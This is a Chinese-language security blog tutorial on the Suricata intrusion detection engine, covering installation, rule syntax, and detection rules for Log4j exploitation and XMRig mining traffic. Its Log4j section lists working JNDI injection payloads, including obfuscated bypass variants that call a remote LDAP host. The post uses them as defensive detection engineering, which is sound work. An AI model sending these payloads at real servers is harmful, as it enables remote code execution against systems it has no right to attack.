close

網安引領時代,彌天點亮未來



0x00寫在前面

本次測試僅供學習使用,如若非法他用,與平台和本文作者無關,需自行負責!


0x01軟件介紹

Suricata 是一個免費、開源、成熟、快速、健壯的網絡威脅檢測引擎。Suricata引擎能夠進行實時入侵檢測(IDS)、內聯入侵預防(IPS)、網絡安全監控(NSM)和離線pcap處理。Suricata 使用強大而廣泛的規則和簽名語言來檢查網絡流量,並提供強大的Lua腳本支持來檢測複雜的威脅。使用標準的輸入和輸出格式(如YAML和JSON),使用現有的SIEM、Splunk、Logstash/Elasticsearch、Kibana和其他數據庫等工具進行集成將變得非常簡單。Suricata項目和代碼由開放信息安全基金會(OISF)擁有和支持,OISF是一個非盈利基金會,致力於確保Suricata作為一個開源項目的開發和持續成功。

suricata下載地址:

https://suricata.io/download/

英文官網

https://suricata.readthedocs.io/en/latest/index.html

中文官網

https://www.osgeo.cn/suricata/index.html

Suricata與Snort區別

Snort(由SourceFire開發和維護)一直是開源入侵檢測/防禦系統(IDS / IPS)的實際標準。它的引擎結合了簽名協議和基於異常的檢測的優點,並成為世界上應用最廣泛的IDS / IPS。

Suricata是由OISF(開發信息安全基金會)開發,它也是基於簽名,但是集成了創新的技術。該引擎嵌入了一個HTTP規範化器和分析器(HTP庫),可提供非常先進的HTTP流處理,從而能夠在OSI模型的第七層(應用層)上解析流量。


0x02軟件安裝

具體安裝可以參見官方網站,在Linux下一般分為兩種方式及離線(源碼)和在線(二進制)。目前最新版本已經為Suricata-6.0.5

推薦使用ubuntu,因為CentOS停止更新安裝問題較多

離線包方式(下載離線包)

tar xzvf suricata-6.0.5.tar.gzcd suricata-6.0.5./configuremakemake install

二進制包方式(需要安裝依賴)

sudo add-apt-repository ppa:oisf/suricata-stablesudo apt-get updatesudo apt-get install suricata


0x03常用語法

1.suricata規則語法

Suricata規則內容支持HTTP、 DNS、tcp、tls、udp、smb等協議的檢測,同時支持十六進制、字符串、正則表達式進行匹配,引擎目前還支持Base64、url解碼匹配。

規則所需關鍵字使用時可以根據需求在官方網站查詢。由於這部分內容較多,這裡不在做過多的贅述。下面將舉例說明(最基本的框架):

alert http any any -> any any (msg:"這是一個例子"; flow:established,to_server; content:"yunzui";nocase;fast_pattern; sid:6688; rev:1; metadata:created_at 2022_07_03,yunzui;)#alert 命中#http 協議#any any -> any any 源IP 源端口 方向 目的IP 目的端口#() 規則正文#msg 顯示信息#flow:established,to_server; 流向 建立連接 到服務端#content:"yunzui";nocase;fast_pattern; 檢測字符串,不區分大小寫,多摸快速匹配#sid 規則唯一標識id#rev 版本信息#metadata 備註信息

2.常用payload關鍵字

1.content 提取匹配的特徵內容

2.nocase 不區分大小寫,nocase為content的修飾符,不需要跟參數

3.startswith content的修飾符不需要跟參數,匹配content 以...開頭

startswith不能與depth、offset、within或distance混合使用

content:"GET|20|"; startswith;

匹配內容以`GET|20|`開頭

等價於

content:"GET|20|"; depth:4;offset:0;

4.endswith

content的修飾符,不需要跟參數,匹配content 以...結尾

endswith不能和offset,within或distance混合使用

content:".php"; endswith;

等價於

content:".php";isdatat:!1,relative

5.isdataat

查看負載的特定部分是否仍有數據

isdataat:512; 負載的512字節位置上,時候有數據

isdataat:8,relative;

# 相對一上一次匹配位置開始的n個字節上是否有數據

關鍵字很多,具體可以通過官方網站學習!


0x04實戰檢測運用

流量檢測(log4j漏洞利用流量檢測)

1.通過分析log4j漏洞利用原理及攻擊常見payload

${jndi:ldap://10.211.55.2:8099/xobject}${jndi:ldap://127.0.0.1#10.211.55.2:8099/xobject}${${upper:j}${upper:n}${upper:d}${upper:i}:${upper:l}${upper:d}${upper:a}${upper:p}://10.211.55.2:8099/xobject}${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://10.211.55.2:8099/xobject}${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://10.211.55.2:8099/xobject}${${Lt::-j}${qAwQ:xz:-n}${j:j:-d}${PRX:jp:-i}:${r:M:-l}${::-d}${h:OjMc:-a}${OeR:iAob:-p}://10.211.55.2:8099/xobject}${${SFQv:jxfH:dhe:MNbb:n:-j}${hGS:w:N:-n}${:BAwG:A:QLo:-d}${mGFi:fjuO:::-i}:${:WhYw::-l}${X:ia::Pr:-d}${Bd:mrW:alo:-a}${N::-p}://10.211.55.2:8099/xobject}${${lower:${lower:j}}${lower:n}${lower:${lower:${lower:d}}}${lower:${lower:i}}:${lower:${lower:${lower:l}}}${lower:${lower:d}}${lower:${lower:${lower:a}}}${lower:${lower:${lower:${lower:p}}}}://10.211.55.2:8099/xobject}${${upper:${upper:${upper:${upper:j}}}}${upper:${upper:${upper:n}}}${upper:${upper:${upper:${upper:${upper:d}}}}}${upper:${upper:i}}:${upper:${upper:${upper:l}}}${upper:${upper:d}}${upper:${upper:${upper:${upper:${upper:a}}}}}${upper:p}://10.211.55.2:8099/xobject}${${upper:${upper:${upper:j}}}${lower:${lower:${lower:n}}}${lower:${upper:d}}${upper:${lower:i}}:${lower:${lower:${upper:${lower:l}}}}${lower:${lower:${upper:d}}}${upper:${lower:${upper:${lower:a}}}}${upper:${lower:p}}://10.211.55.2:8099/xobject}

2.提取檢測特徵

漏洞分析復現,判斷可能利用的姿勢,提取檢測特徵,同時考慮上述bypass的payload,還有編碼繞過等。

特徵1 $

特徵2 {}

特徵3 jndi

特徵4 ldap/ldaps/rmi/dns/iiop

特徵5 lower

特徵6 upper

特徵7 http/tcp/dns

3.輸出檢測Suricata規則

目前就輸出部分檢測規則,有興趣的可以自行研究

alert http any any -> any any (msg:"Apache Log4j遠程命令執行漏洞(CVE-2021-44228)"; flow:to_server,established;http.request_line;content:"|24|";nocase;content:"|7b|";nocase;content:"jndi|3a|ldap|3a 2f 2f|";nocase;fast_pattern;sid:66666;rev:1;metadata: by yunzui;)alert http any any -> any any (msg:"Apache Log4j遠程命令執行漏洞(CVE-2021-44228)"; flow:to_server,established;http.header;content:"|24|";nocase;content:"|7b|";nocase;content:"jndi|3a|ldap|3a 2f 2f|";nocase;fast_pattern;sid:66667;rev:1;metadata: by yunzui;)alert http any any -> any any (msg:"Apache Log4j遠程命令執行漏洞(CVE-2021-44228)"; flow:to_server,established;http.request_body;content:"|24|";nocase;content:"|7b|";nocase;content:"jndi|3a|ldap|3a 2f 2f|";nocase;fast_pattern;sid:66668;rev:1;metadata: by yunzui;)alert tcp any any -> any any (msg:"Apache Log4j遠程命令執行漏洞(CVE-2021-44228)"; flow:established,to_server; content:"|24 7b|"; pcre:"/^(j|\x24\x7b(lower|upper)\x3aj\x7d|\x24\x7b\x3a\x3a\-j\x7d)(n|\x24\x7b(lower|upper)\x3an\x7d|\x24\x7b\x3a\x3a\-n\x7d)/Ri"; content:"|3a|"; distance:0; content:"|24 7b|env|3a|"; distance:0;sid:66669;rev:1;metadata: by yunzui;)alert udp any any -> any any (msg:"Apache Log4j遠程命令執行漏洞(CVE-2021-44228)"; content:"%7bjndi%3a"; nocase; fast_pattern; pcre:"/^(l|r|d|(\x24|%24)(\x7b|%7b)(lower|upper)(\x3a|%3a)(l|r|d)(\x7d|%7d))(d|n|m|(\x24|%24)(\x7b|%7b)(lower|upper)(\x3a|%3a)(d|n|m)(\x7d|%7d))(a|i|s|(\x24|%24)(\x7b|%7b)(lower|upper)(\x3a|%3a)(a|i|s)(\x7d|%7d))(p|(\x24|%24)(\x7b|%7b)(lower|upper)(\x3a|%3a)p(\x7d|%7d))/Ri";sid:66670;rev:1;metadata: by yunzui;)

4.測試檢測效果

執行測試命令,正常檢測攻擊行為

告警日誌

流量檢測(xmrig挖礦行為流量檢測)

1.通常挖礦由礦機和礦池構成,基本流程如下:

2.提取檢測特徵

分析挖礦流量數據,進行特徵提取

特徵1 jsonrpc

特徵2 method

特徵3 agent":"XMRig/6.17.0

特徵4 pool.minexmr.com

特徵5 tcp/udp

3.輸出檢測Suricata規則

alert tcp any any -> any any (msg:"xmrig惡意挖礦行為"; flow:established,to_server; content:"jsonrpc";nocase;content:"method"; nocase;distance:0; content:"XMRig/6.17.0";nocase; fast_pattern;sid:8888;rev:1;metadata: by yunzui;)alert udp any any -> any any (msg:"xmrig惡意挖礦行為"; content:"pool.minexmr.com"; nocase; fast_pattern; sid:9999;rev:1;metadata: by yunzui;)

4.測試檢測效果

執行測試命令,正常檢測攻擊行為

告警日誌


0x05總結思考

流量對抗作為網絡安全最關鍵、最重要的一個環節,針對流量的威脅檢測顯的尤為重要。同時以流量檢測為支撐的安全產品層出不窮,其中 XDR目前最受歡迎。而suricata目前作為開源的優秀網絡流量檢測引擎,並且不斷進行了持續優化更新,不僅支持多種網絡協議、常見編碼、HTTP細分關鍵字等,大大提升了對威脅檢測的有效性,希望對檢測響應方向有興趣的同學可以一起交流學習。下面是我的微信:


0x06參考鏈接

https://www.cnblogs.com/linagcheng/p/12559922.html

https://mp.weixin.qq.com/s/tetX6YgCRSIpwan2XICZaA

https://www.iculture.cc/?s=%E6%8C%96%E7%9F%BF&type=post

https://mp.weixin.qq.com/s/28j804_zp9FLlF-Aa1OneA


知識分享完了

喜歡別忘了關注我們哦~

學海浩茫,
予以風動,
必降彌天之潤!

彌 天

安全實驗室


arrow
arrow
    全站熱搜
    創作者介紹
    創作者 鑽石舞台 的頭像
    鑽石舞台

    鑽石舞台

    鑽石舞台 發表在 痞客邦 留言(0) 人氣()